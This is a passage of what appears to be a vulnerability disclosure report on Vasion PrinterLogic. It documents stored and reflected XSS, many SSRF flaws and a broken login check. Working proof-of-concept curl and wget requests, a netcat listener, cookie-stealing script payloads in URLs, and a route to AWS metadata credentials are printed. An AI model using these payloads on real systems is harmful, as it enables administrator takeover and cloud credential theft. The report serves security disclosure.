<p>There is now a stored XSS in <code>http://10.105.0.241/console_release/fast_release/register_badge.php</code>:</p>
<p><img alt="" src="images/2025-vasion-report-1-xss-01.png" />
http://10.105.0.241/console_release/fast_release/register_badge.php</p>
<p>The stored XSS can be used to steal cookies of administrators and get administrator access to the solution. This attack doesn't require authentication.</p>
<p><a id="va-ssrf-02"></a></p>
<h2>Details - SSRF everywhere in /var/www/app and compromise of the SaaS infrastructure</h2>
<p>When analyzing the PHP files in <code>/opt/www/app</code>, it appears a large number of SSRF vulnerabilities exist. They mainly can be exploited by administrators by providing wrong hostname/ip for printers. They are 42 calls to <code>curl_setopt(.., CURLOPT_URL, ..)</code>:</p>
<pre><code>kali% rgrep CURLOPT_URL .
./app/Console/Commands/XeroxSoapClient.php:        curl_setopt($ch, CURLOPT_URL, $url);
./app/Helpers/XeroxSOAPHelper.php:        curl_setopt( $ch, CURLOPT_URL, $xrxUrl );
./app/Helpers/XeroxSOAPHelper.php:        curl_setopt( $ch, CURLOPT_URL, $xrxUrl );
./app/Helpers/XeroxSOAPHelper.php:        curl_setopt($ch, CURLOPT_URL, $xrxUrl);
./app/Helpers/XeroxSOAPHelper.php:        curl_setopt( $ch, CURLOPT_URL, $xrxUrl );
./app/Helpers/XeroxSOAPHelper.php:        curl_setopt($ch, CURLOPT_URL, $url);
./app/Helpers/ToshibaSoapHelpers.php:        curl_setopt($ch, CURLOPT_URL, $xrxUrl);
./app/Helpers/ToshibaSoapHelpers.php:        curl_setopt($ch, CURLOPT_URL, $xrxUrl);
./app/Helpers/HPSoapHelper.php:        curl_setopt($ch, CURLOPT_URL, $sendUrl);
./lib/common/aws/lib/requestcore/requestcore.class.php:         curl_setopt($curl_handle, CURLOPT_URL, $this-&gt;request_url);
./console_release/xerox/xerox_auth_soap_server_0.php:    curl_setopt($ch, CURLOPT_URL, $XRX_URL);
./console_release/xerox/xerox_auth_soap_server_0.php:        curl_setopt($ch, CURLOPT_URL, $XRX_URL);
./console_release/xerox/installApp.php:    curl_setopt($ch, CURLOPT_URL, $url);
./console_release/xerox/removeApp.php:        curl_setopt($ch, CURLOPT_URL, $url);
./console_release/xerox/xerox_soap_helper.php:    curl_setopt( $ch, CURLOPT_URL, $XRX_URL );
./console_release/xerox/xerox_soap_helper.php:    curl_setopt( $ch, CURLOPT_URL, $XRX_URL );
./console_release/xerox/xerox_soap_helper.php:    curl_setopt($ch, CURLOPT_URL, $XRX_URL);
./console_release/xerox/xerox_soap_helper.php:    curl_setopt( $ch, CURLOPT_URL, $XRX_URL );
./console_release/toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_URL, $XRX_URL);
./console_release/toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_URL, $XRX_URL);
./console_release/common/cpa_helper_functions.php:    curl_setopt( $ch, CURLOPT_URL, $url );
./console_release/hp/installApp.php:    curl_setopt($ch, CURLOPT_URL, $url);
./console_release/hp/hp_soap_helper.php:                curl_setopt($ch, CURLOPT_URL, $sendUrl);
./console_release/lexmark/update.php:            curl_setopt($ch, CURLOPT_URL, 'ftp://' . $this_vo-&gt;str_host_address . '/printerlogic.fls');
./console_release/lexmark/update.php:        curl_setopt($ch, CURLOPT_URL, 'ftp://' . $this_vo-&gt;str_host_address . '/printerlogic.ucf');
./console_release/lexmark/installSettings.php:        curl_setopt($ch, CURLOPT_URL, 'ftp://' . $printer_vo-&gt;str_host_address . '/printerlogic.ucf');
./console_release/lexmark/installApp.php:curl_setopt( $ch, CURLOPT_URL, 'ftp://' . $printer_vo-&gt;str_host_address . '/printerlogic.fls' );
./console_release/fast_release/elatec_tcpconv2.php:        curl_setopt($ch_check, CURLOPT_URL, "http://" . $elatec-&gt;ip_address . ":81/pages/setup_usb.php");
./console_release/fast_release/elatec_tcpconv2.php:        curl_setopt($ch, CURLOPT_URL, "http://" . $elatec-&gt;ip_address . ":81/cgi-bin/setup_usb.py");
./console_release/fast_release/elatec_tcpconv2.php:            curl_setopt($ch2, CURLOPT_URL, "http://" . $elatec-&gt;ip_address . ":81/cgi-bin/reboot.py");
./console_release/samsung/samsung_rest_helper.php:  curl_setopt($ch, CURLOPT_URL, $XRX_URL);
./console_release/samsung/list_apps.php:  curl_setopt( $ch, CURLOPT_URL, "http://" . $printer_vo-&gt;str_host_address . "/era/applications" );
./console_release/samsung/list_apps.php:    curl_setopt( $ch_app, CURLOPT_URL, "http://" . $printer_vo-&gt;str_host_address . "/era/applications/" . $attributes["ID"] );
./console_release/samsung/get_device_info.php:  curl_setopt( $ch, CURLOPT_URL, "http://" . $printer_vo-&gt;str_host_address . ":8080/ws/v1/tokenmgt/tokenmanager/createtoken" );
./console_release/samsung/remove_app.php:       curl_setopt($ch, CURLOPT_URL, "http://" . $printer_vo-&gt;str_host_address . "/era/applications");
./console_release/samsung/remove_app.php:               curl_setopt($ch_app, CURLOPT_URL,
./console_release/samsung/remove_app.php:                       curl_setopt($ch_del, CURLOPT_URL,
./console_release/km/konicaminolta_soap_helper.php:             curl_setopt($ch,CURLOPT_URL,$url);
./console_release/km/konicaminolta_soap_helper.php:             curl_setopt($ch, CURLOPT_URL, $url);
./console_release/km/konicaminolta_soap_helper.php:             curl_setopt($ch, CURLOPT_URL, $url);
./console_release/km/konicaminolta_soap_helper.php:             curl_setopt($ch, CURLOPT_URL, $url);
./console_release/km/konicaminolta_soap_helper.php:             curl_setopt($ch, CURLOPT_URL, $url);
kali%
</code></pre>
<p>For example, in the file <code>/var/ww/app/console_release/xerox/removeApp.php</code>, a HTTPS request will be sent to <code>$url</code>. The variable <code>$url</code> is made of <code>https://" . $printer_vo-&gt;str_host_address . "/webservices/office/device_configuration/1</code>.</p>
<p>If <code>$url</code> contains a custom domain name or a custom ip followed by a <code>/?</code>, then a HTTPS request will be sent to this domain name or a custom ip. For example, a printer set to <code>test.com/?</code> will provide a specific value for <code>$url</code>: <code>https://test.com/?/webservices/office/device_configuration/1</code>. The resulting request will be sent to <code>test.com:443</code>.</p>
<p>Content of <code>/var/ww/app/console_release/xerox/removeApp.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">26</span> <span style="color: #008000; font-weight: bold">if</span>( requestint( <span style="color: #BA2121">&#39;printer_id&#39;</span>, <span style="color: #666666">0</span> ) <span style="color: #666666">!=</span> <span style="color: #666666">0</span> )
 <span style="color: #666666">27</span> {
 <span style="color: #666666">28</span>     <span style="color: #19177C">$printer_vo</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">id</span> <span style="color: #666666">=</span> requestint( <span style="color: #BA2121">&#39;printer_id&#39;</span>, <span style="color: #666666">0</span> );
[<span style="color: #666666">...</span>]
 <span style="color: #666666">51</span>         <span style="color: #19177C">$url</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;https://&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$printer_vo</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">str_host_address</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;/webservices/office/device_configuration/1&quot;</span>;
[<span style="color: #666666">...</span>]
 <span style="color: #666666">54</span>         <span style="color: #19177C">$ch</span> <span style="color: #666666">=</span> <span style="color: #008000">curl_init</span>();
 <span style="color: #666666">55</span>         <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_URL, <span style="color: #19177C">$url</span>);
 <span style="color: #666666">56</span>         <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_POST, <span style="color: #008000; font-weight: bold">true</span>);
 <span style="color: #666666">57</span>         <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_POSTFIELDS, <span style="color: #19177C">$xml</span>);
 <span style="color: #666666">58</span>         <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_HTTPHEADER, <span style="color: #19177C">$headers</span>);
 <span style="color: #666666">59</span>         <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_RETURNTRANSFER, <span style="color: #666666">1</span>);
 <span style="color: #666666">60</span>         <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_SSL_VERIFYHOST, <span style="color: #008000; font-weight: bold">false</span>);
 <span style="color: #666666">61</span>         <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_SSL_VERIFYPEER, <span style="color: #008000; font-weight: bold">false</span>);
 <span style="color: #666666">62</span>         <span style="color: #19177C">$version_response</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;&quot;</span>;
 <span style="color: #666666">63</span>         <span style="color: #008000; font-weight: bold">try</span>
 <span style="color: #666666">64</span>         {
 <span style="color: #666666">65</span>             <span style="color: #19177C">$version_response</span> <span style="color: #666666">=</span> <span style="color: #008000">curl_exec</span>(<span style="color: #19177C">$ch</span>);
 <span style="color: #666666">66</span>             <span style="color: #19177C">$version_error</span> <span style="color: #666666">=</span> <span style="color: #008000">curl_error</span>(<span style="color: #19177C">$ch</span>);
 <span style="color: #666666">67</span>             <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #19177C">$version_error</span> <span style="color: #666666">!=</span> <span style="color: #BA2121">&quot;&quot;</span>)
</pre></div>

<p>The second example is available in <code>/var/www/app/console_release/samsung/get_device_info.php</code>.</p>
<p>Content of <code>www/app/console_release/samsung/get_device_info.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">11</span> <span style="color: #008000; font-weight: bold">if</span>( requestint( <span style="color: #BA2121">&#39;printer_id&#39;</span>, <span style="color: #666666">0</span> ) <span style="color: #666666">!=</span> <span style="color: #666666">0</span> )
 <span style="color: #666666">12</span> {
 <span style="color: #666666">13</span>   <span style="color: #19177C">$printer_vo</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">id</span> <span style="color: #666666">=</span> requestint( <span style="color: #BA2121">&#39;printer_id&#39;</span>, <span style="color: #666666">0</span> );
[<span style="color: #666666">...</span>]
 <span style="color: #666666">35</span>   <span style="color: #008000">curl_setopt</span>( <span style="color: #19177C">$ch</span>, CURLOPT_HTTPHEADER, <span style="color: #19177C">$header</span> );
 <span style="color: #666666">36</span>   <span style="color: #008000">curl_setopt</span>( <span style="color: #19177C">$ch</span>, CURLOPT_POST, <span style="color: #008000; font-weight: bold">true</span> );
 <span style="color: #666666">37</span>   <span style="color: #008000">curl_setopt</span>( <span style="color: #19177C">$ch</span>, CURLOPT_URL, <span style="color: #BA2121">&quot;http://&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$printer_vo</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">str_host_address</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;:8080/ws/v1/tokenmgt/tokenmanager/createtoken&quot;</span> );
 <span style="color: #666666">38</span>   <span style="color: #008000">curl_setopt</span>( <span style="color: #19177C">$ch</span>, CURLOPT_RETURNTRANSFER, <span style="color: #008000; font-weight: bold">true</span> );
 <span style="color: #666666">39</span>   <span style="color: #008000">curl_setopt</span>( <span style="color: #19177C">$ch</span>, CURLOPT_USERPWD, <span style="color: #BA2121">&quot;</span><span style="color: #BB6688; font-weight: bold">$username</span><span style="color: #BA2121">:</span><span style="color: #BB6688; font-weight: bold">$password</span><span style="color: #BA2121">&quot;</span> );
 <span style="color: #666666">40</span>   <span style="color: #008000">curl_setopt</span>( <span style="color: #19177C">$ch</span>, CURLOPT_HTTPAUTH, CURLAUTH_BASIC );
 <span style="color: #666666">41</span>   <span style="color: #19177C">$response</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;&quot;</span>;
 <span style="color: #666666">42</span>   <span style="color: #008000; font-weight: bold">try</span>
 <span style="color: #666666">43</span>   {
 <span style="color: #666666">44</span>     <span style="color: #19177C">$response</span> <span style="color: #666666">=</span> <span style="color: #008000">curl_exec</span>( <span style="color: #19177C">$ch</span> );
[<span style="color: #666666">...</span>]
 <span style="color: #666666">56</span>   <span style="color: #19177C">$p</span> <span style="color: #666666">=</span> <span style="color: #008000">xml_parser_create</span>();
 <span style="color: #666666">57</span>   <span style="color: #008000">xml_parse_into_struct</span>( <span style="color: #19177C">$p</span>, <span style="color: #19177C">$response</span>, <span style="color: #19177C">$vals</span>, <span style="color: #19177C">$index</span> );
 <span style="color: #666666">58</span>   <span style="color: #008000">xml_parser_free</span>( <span style="color: #19177C">$p</span> );
 <span style="color: #666666">59</span>   <span style="color: #008000">print_r</span>(<span style="color: #19177C">$vals</span>);
 <span style="color: #666666">60</span>   <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">&quot;</span><span style="color: #BB6622; font-weight: bold">\n\n</span><span style="color: #BA2121">&quot;</span>;
 <span style="color: #666666">61</span>   <span style="color: #008000">print_r</span>(<span style="color: #19177C">$index</span>);
</pre></div>

<p>The code will blindy do SSRF without authentication:</p>
<pre><code>kali% curl 'http://10.105.0.241/console_release/samsung/get_device_info.php?printer_id=2'

error = Failed to connect to 10.105.0.239 port 8080: Connection refused
&lt;BR&gt;&lt;BR&gt;Array
(
)


Array
(
)
</code></pre>
<p>By providing answers from 10.105.0.239:8080, we are able to print the response.</p>
<p>Basic TCP server running on 10.105.0.239:8080:</p>
<pre><code>kali# echo "hello\n\nhow are you?\n\n" | nc -l -v -n -p 8080
</code></pre>
<p>HTTP request with SSRF, the answer is printed:</p>
<pre><code>kali% curl 'http://10.105.0.241/console_release/samsung/get_device_info.php?printer_id=2'
&lt;BR&gt;&lt;BR&gt;hello

how are you?


Array
(
)


Array
(
)
kali%
</code></pre>
<p>Testing against the SaaS version hosted in AWS works.</p>
<p>SSRF using the payload <code>159.65.[redacted].[redacted]/?</code> corresponding to a DigitalOcean test VPS:</p>
<pre><code>kali% curl 'https://[redacted].printercloud10.com/console_release/samsung/get_device_info.php?printer_id=8'
&lt; 
&lt;BR&gt;&lt;BR&gt;&lt;html&gt;
&lt;head&gt;&lt;title&gt;405 Not Allowed&lt;/title&gt;&lt;/head&gt;
&lt;body&gt;
&lt;center&gt;&lt;h1&gt;405 Not Allowed&lt;/h1&gt;&lt;/center&gt;
&lt;hr&gt;&lt;center&gt;nginx/1.18.0 (Ubuntu)&lt;/center&gt;
&lt;/body&gt;
&lt;/html&gt;
Array
(
    [0] =&gt; Array
        (
            [tag] =&gt; HTML
            [type] =&gt; open
            [level] =&gt; 1
            [value] =&gt;

        )

    [1] =&gt; Array
        (
</code></pre>
<p>The request from AWS appears in the remote server:</p>
<pre><code>52.65.[redacted].[redacted] - - [11/Feb/2022:10:25:35 +0000] "POST /?:8080/ws/v1/tokenmgt/tokenmanager/createtoken HTTP/1.1" 405 166 "-" "-"
</code></pre>
<p>There is also a SSRF in <code>/var/www/app/console_release/lexmark/installSettings.php</code>.</p>
<p>SSRF using the payload <code>159.65.[redacted].[redacted]/?</code>:</p>
<pre><code>kali% curl -kv 'https://[redacted].printercloud10.com/console_release/lexmark/installSettings.php?printer_id=8'
</code></pre>
<p>The requests coming from AWS appear in the remote server:</p>
<pre><code>52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:31 +0000] "GET /?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:31 +0000] "GET /?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:32 +0000] "GET /?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:33 +0000] "GET /?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:33 +0000] "GET /?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:34 +0000] "GET /?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:35 +0000] "GET /?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:35 +0000] "GET /?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:36 +0000] "GET /?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:37 +0000] "GET /?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:37 +0000] "GET /?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:38 +0000] "GET /?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:39 +0000] "GET /?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
</code></pre>
<p>This can be also used to store XSS and attack administrators by stealing their cookies with javascript embedded inside the webpage <code>http://10.105.0.241/console_release/samsung/get_device_info.php?printer_id=X</code> if the attacker loses admin access to the solution.</p>
<p>The SSRF attacks described above require administrator privileges but they can be used to retrieve credentials provided by AWS meta-data server (<code>http://169.254.169.254/latest/meta-data/iam/security-credentials</code>) and to compromise the entire AWS infrastructure used by all the Vasion PrinterLogic customers.</p>
<p>Due to the high number of SSRF vulnerabilities, only a small part was analyzed.</p>
<p><a id="va-xss-02"></a></p>
<h2>Details - XSS in /var/www/app/console_release/fast_release/ register_badge_new.php</h2>
<p>4 different XSS can be found in <code>/var/www/app/console_release/fast_release/register_badge_new.php</code> in lines 42, 61, 79 and 80:</p>
<p>Content of <code>/www/app/console_release/fast_release/register_badge_new.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">17</span>     <span style="color: #19177C">$username</span> <span style="color: #666666">=</span> requeststr(<span style="color: #BA2121">&quot;username&quot;</span>);
 <span style="color: #666666">18</span>     <span style="color: #19177C">$badgeid</span> <span style="color: #666666">=</span> requeststr(<span style="color: #BA2121">&quot;badgeid&quot;</span>);
 <span style="color: #666666">19</span>     <span style="color: #19177C">$action</span> <span style="color: #666666">=</span> requeststr(<span style="color: #BA2121">&quot;action&quot;</span>);
[<span style="color: #666666">...</span>]
<span style="color: #666666">42</span>                             value<span style="color: #666666">=</span><span style="color: #BA2121">&quot;&lt;?php echo </span><span style="color: #BB6688; font-weight: bold">$username</span><span style="color: #BA2121"> ?&gt;&quot;</span> disabled <span style="color: #666666">/&gt;</span>
[<span style="color: #666666">...</span>]
<span style="color: #666666">61</span>                         <span style="color: #666666">&lt;</span>input type<span style="color: #666666">=</span><span style="color: #BA2121">&quot;text&quot;</span> id<span style="color: #666666">=</span><span style="color: #BA2121">&quot;badge_rfid_data&quot;</span> style<span style="color: #666666">=</span><span style="color: #BA2121">&quot;width: 100%;&quot;</span> value<span style="color: #666666">=</span><span style="color: #BA2121">&quot;&lt;?php echo </span><span style="color: #BB6688; font-weight: bold">$badgeid</span><span style="color: #BA2121"> ?&gt;&quot;</span> <span style="color: #666666">/&gt;</span>
[<span style="color: #666666">...</span>]
<span style="color: #666666">79</span>             <span style="color: #666666">&lt;</span>input type<span style="color: #666666">=</span><span style="color: #BA2121">&quot;hidden&quot;</span> id<span style="color: #666666">=</span><span style="color: #BA2121">&quot;action&quot;</span> value<span style="color: #666666">=</span><span style="color: #BA2121">&quot;&lt;?php echo </span><span style="color: #BB6688; font-weight: bold">$action</span><span style="color: #BA2121"> ?&gt;&quot;</span><span style="color: #666666">/&gt;</span>
<span style="color: #666666">80</span>             <span style="color: #666666">&lt;</span>input type<span style="color: #666666">=</span><span style="color: #BA2121">&quot;hidden&quot;</span> id<span style="color: #666666">=</span><span style="color: #BA2121">&quot;badge_rfid_data_original&quot;</span> value<span style="color: #666666">=</span><span style="color: #BA2121">&quot;&lt;?php echo </span><span style="color: #BB6688; font-weight: bold">$badgeid</span><span style="color: #BA2121"> ?&gt;&quot;</span><span style="color: #666666">/&gt;</span>
[<span style="color: #666666">...</span>]
</pre></div>

<pre><code>https://[redacted].printercloud10.com/console_release/fast_release/register_badge_new.php?username=%22%3E%3Cscript%3Ewindow.alert(%22XSS%22);%3C/script%3E
</code></pre>
<p><img alt="" src="images/2025-vasion-report-1-xss-02.png" /></p>
<p><a href="images/2025-vasion-report-1-xss-02-full.png">Click here for full image</a></p>
<p>The XSS can be used to steal cookies of administrators and get administrator access to the solution.</p>
<p><a id="va-xss-03"></a></p>
<h2>Details - XSS in /www/app/admin/design/reports/overview_popup.php and Incorrect Access Control</h2>
<p>Using the previous <a href="#va-incorrect-acl-php">Incorrect Access Control to PHP webpages allowing to reach printers</a>, it is possible to directly reach <code>/var/www/app/admin/design/reports/overview_popup.php</code> without authentication.</p>
<p>This PHP code contains several XSS.</p>
<p>Content of <code>/var/www/app/admin/design/reports/overview_popup.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">11</span> <span style="color: #19177C">$start_date</span> <span style="color: #666666">=</span> requeststr(<span style="color: #BA2121">&quot;start_date&quot;</span>);
 <span style="color: #666666">12</span> <span style="color: #19177C">$stop_date</span> <span style="color: #666666">=</span> requeststr(<span style="color: #BA2121">&quot;stop_date&quot;</span>);
 <span style="color: #666666">13</span> <span style="color: #19177C">$title</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;Print Job Records Overview for &#39;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$start_date</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&#39; to &#39;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$stop_date</span>;
</pre></div>

<p>PoCs:</p>
<pre><code>kali% wget -qO- "http://10.105.0.241/admin/design/reports/overview_popup.php?start_date=&lt;XSS1&gt;" | grep XSS
    &lt;title&gt;Print Job Records Overview for &lt;XSS1&gt; to &lt;/title&gt;
kali% wget -qO- "http://10.105.0.241/admin/design/reports/overview_popup.php?stop_date=&lt;XSS2&gt;" | grep XSS
    &lt;title&gt;Print Job Records Overview for  to &lt;XSS2&gt;&lt;/title&gt;
kali%
</code></pre>
<p><img alt="" src="images/2025-vasion-report-1-xss-03.png" /></p>
<p><a href="images/2025-vasion-report-1-xss-03-full.png">Click here for full image</a></p>
<pre><code>http://10.105.0.241/admin/design/reports/overview_popup.php?export=1&amp;report_type=Overview+-+All&amp;sort_by=&amp;sort_order=0&amp;page=1&amp;start_date=2022%2F02%2F07%3Cscript%3Ealert(document.cookie)%3C/script%3E&amp;stop_date=2022%2F02%2F07&amp;start_time=12%3A00+AM&amp;stop_time=11%3A59+PM&amp;time_offset=-18000&amp;order=&amp;user_name=%3CXSS2%3E&amp;job_title=&amp;computer_name=&amp;manager_name=&amp;department_name=&amp;printer_name=&amp;printer_type=printer_type_all&amp;job_type=job_type_all&amp;user_name_wildcard=*&amp;company_name_wildcard=*&amp;job_title_wildcard=*&amp;manager_name_wildcard=*&amp;department_name_wildcard=*&amp;printer_name_wildcard=*&amp;folder_path=TEST-COMPANY&amp;show_tcpip_printers=1&amp;show_usb_printers=1&amp;show_folder_accumulate=0&amp;async_database_query_ids[]=dt20220207065229_23092&amp;async_database_query_ids[]=dt20220207065229_23093&amp;async_database_query_ids[]=dt20220207065229_23094&amp;async_database_query_ids[]=dt20220207065229_23095&amp;async_database_query_ids[]=dt20220207065230_23096&amp;async_database_query_ids[]=dt20220207065230_23097&amp;async_database_query_ids[]=dt20220207065230_23098&amp;async_database_query_ids[]=dt20220207065230_23099&amp;async_database_query_ids[]=dt20220207065230_23100&amp;async_database_query_ids[]=dt20220207065230_23101
</code></pre>
<p>The same vulnerability in found in the SaaS version:</p>
<p><img alt="" src="images/2025-vasion-report-1-xss-04.png" /></p>
<p><a href="images/2025-vasion-report-1-xss-04-full.png">Click here for full image</a></p>
<pre><code>https://[redacted].printercloud10.com/admin/design/reports/overview_popup.php?export=1&amp;report_type=Overview+-+All&amp;sort_by=&amp;sort_order=0&amp;page=1&amp;start_date=2022%2F02%2F07%3Cscript%3Ealert(%27XSS%27)%3C/script%3E&amp;stop_date=2022%2F02%2F07&amp;start_time=12%3A00+AM&amp;stop_time=11%3A59+PM&amp;time_offset=-18000&amp;order=&amp;user_name=%3CXSS2%3E&amp;job_title=&amp;computer_name=&amp;manager_name=&amp;department_name=&amp;printer_name=&amp;printer_type=printer_type_all&amp;job_type=job_type_all&amp;user_name_wildcard=*&amp;company_name_wildcard=*&amp;job_title_wildcard=*&amp;manager_name_wildcard=*&amp;department_name_wildcard=*&amp;printer_name_wildcard=*&amp;folder_path=TEST-COMPANY&amp;show_tcpip_printers=1&amp;show_usb_printers=1&amp;show_folder_accumulate=0&amp;async_database_query_ids[]=dt20220207065229_23092&amp;async_database_query_ids[]=dt20220207065229_23093&amp;async_database_query_ids[]=dt20220207065229_23094&amp;async_database_query_ids[]=dt20220207065229_23095&amp;async_database_query_ids[]=dt20220207065230_23096&amp;async_database_query_ids[]=dt20220207065230_23097&amp;async_database_query_ids[]=dt20220207065230_23098&amp;async_database_query_ids[]=dt20220207065230_23099&amp;async_database_query_ids[]=dt20220207065230_23100&amp;async_database_query_ids[]=dt20220207065230_23101
</code></pre>
<p>Futhermore, this webpage implements non-working authentication - authentication is only done at the end of the code, after the entire webpage has been executed by PHP.</p>
<p>Content of <code>/var/www/app/admin/design/reports/overview_popup.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">59</span> <span style="color: #666666">&lt;?</span>php
 <span style="color: #666666">60</span> <span style="color: #008000; font-weight: bold">require_once</span>(ABSPATH <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;admin/query/audit_records.php&quot;</span>);
 <span style="color: #666666">61</span> <span style="color: #BC7A00">?&gt;</span>
 62 &lt;/body&gt;
 63 &lt;/html&gt;
</pre></div>

<p><code>/www/app/admin/query/audit_records.php</code> is doing a check of authentication but this page is only included at the end of the PHP code, nullifying the authentication mechanism:</p>
<p>Content of <code>/var/www/app/admin/query/audit_records.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
  <span style="color: #666666">2</span> <span style="color: #008000; font-weight: bold">use</span> PrinterLogicLegacy\AuditHelpers;
  <span style="color: #666666">3</span> 
  <span style="color: #666666">4</span> <span style="color: #008000; font-weight: bold">require_once</span> (<span style="color: #BA2121">&quot;global.php&quot;</span>);
  <span style="color: #666666">5</span> 
  <span style="color: #666666">6</span> <span style="color: #008000; font-weight: bold">require_once</span> (ABSPATH <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;lib/dao/dbopen.php&quot;</span>);
  <span style="color: #666666">7</span> <span style="color: #008000; font-weight: bold">require_once</span> (ABSPATH <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;lib/dao/print_stat_dao.php&quot;</span>);
  <span style="color: #666666">8</span> 
  <span style="color: #666666">9</span> <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #666666">!</span>GLOBALS<span style="color: #666666">::</span><span style="color: #19177C">$login</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">is_logged_in</span>())
 <span style="color: #666666">10</span> { 
 <span style="color: #666666">11</span>         respond_html_expired();
 <span style="color: #666666">12</span>         <span style="color: #008000; font-weight: bold">return</span>;
 <span style="color: #666666">13</span> }
</pre></div>

<p>An attacker can use XSS vulnerabilities to steal administrator's cookies.</p>
<p><a id="va-xss-04"></a></p>
<h2>Details - XSS everywhere in /www/app/admin/*</h2>
<p>The pages located in the <code>/var/www/app/admin</code> directory contain several XSS.</p>
<p>The page <code>/var/www/app/admin/query/audit_records.php</code> will retrieve attacker-controlled variables from line 15 to line 42 and then will <code>include audit_records_html.php</code> on line 44.</p>
<p>Content of <code>/var/www/app/admin/query/audit_records.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
  <span style="color: #666666">9</span> <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #666666">!</span>GLOBALS<span style="color: #666666">::</span><span style="color: #19177C">$login</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">is_logged_in</span>())
 <span style="color: #666666">10</span> { 
 <span style="color: #666666">11</span>         respond_html_expired();
 <span style="color: #666666">12</span>         <span style="color: #008000; font-weight: bold">return</span>;
 <span style="color: #666666">13</span> } 
 <span style="color: #666666">14</span> 
